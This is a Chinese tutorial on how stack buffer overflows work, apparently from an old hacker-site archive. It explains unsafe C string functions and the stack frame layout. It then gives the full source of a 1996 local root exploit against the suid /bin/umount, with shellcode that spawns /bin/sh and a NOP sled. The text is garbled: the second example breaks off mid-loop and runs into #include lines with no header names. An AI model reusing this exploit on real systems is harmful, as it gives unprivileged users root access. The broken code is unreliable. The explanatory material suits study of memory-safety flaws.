缓冲区溢出(buffer overflow)机理分析

/ns/hk/hacker/data/20010107051730.htm

1.什么是缓冲区溢出?
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buffer overflow,buffer overrun,smash the stack,trash the stack,
scribble the stack, mangle the stack,spam,alias bug,fandango on core,
memory leak,precedence lossage,overrun screw...
指的是一种系统攻击的手段，通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，使程序转而执行其它指令，以达到攻击的目的。据统计，通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。 造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:

example1.c
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void function(char *str) {
char buffer[16];

strcpy(buffer,str);
}
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上面的strcpy()将直接吧str中的内容copy到buffer中。这样只要str的长度 大于16，就会造成buffer的溢出，使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的
getc(),fgetc(),getchar()等。当然，随便往缓冲区中填东西造成它溢出一般只会出现Segmentation fault 错误，而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell，再通过shell执行其它命令。如果该程序属于root且有suid权限的话，攻击者就获得了一个有root权限的shell，可以对系统进行任意操作了。请注意，如果没有特别说明，下面的内容都假设用户使用的平台为基于Intelx86 CPU的Linux系统。对其它平台来说，本文的概念同样适用，但程序要做相应修改。

2.制造缓冲区溢出
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一个程序在内存中通常分为程序段，数据端和堆栈三部分。程序段里放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中，它们的位置是:

+------------------+ 内存低端
| 程序段 |
|------------------|
| 数据段 |
|------------------|
| 堆栈 |
+------------------+ 内存高端

当程序中发生函数调用时，计算机做如下操作：首先把参数压入堆栈；然后保存指令寄存器(IP)中的内容做为返回地址(RET)；第三个放入堆栈的是基址寄存器(FP)；然后把当前的栈指针(SP)拷贝到FP，做为新的基地址；最后为本地变量留出一定空间，把SP减去适当的数值。以下面程序为例：

example2.c
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void function(char *str) {
char buffer[16];

strcpy(buffer,str);
}

void main() {
char large_string[256];
int i;

for( i = 0; i
#include
#include
#include
#include

#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

u_long get_esp()
{
__asm__("movl %esp, %eax");

}

main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;

int i;
int ofs = DEFAULT_OFFSET;

buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;

/* fill start of buffer with nops */

memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);

/* stick asm code into the buffer */

for(i=0;i strlen(execshell);i++)
*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;

(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}

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程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区buff,然后在buff的前面部分填满NOP，后面部分放shell代码。最后部分是希望程序返回的地址，由栈地址加偏移得到。当以buff为参数调用mount时，将造成mount程序的堆栈溢出，其缓冲区被buff覆盖，而返回地址将指向NOP指令。由于mount程序的属主是root且有suid位，普通用户运行上面程序的结果将获得一个具有root权限的shell。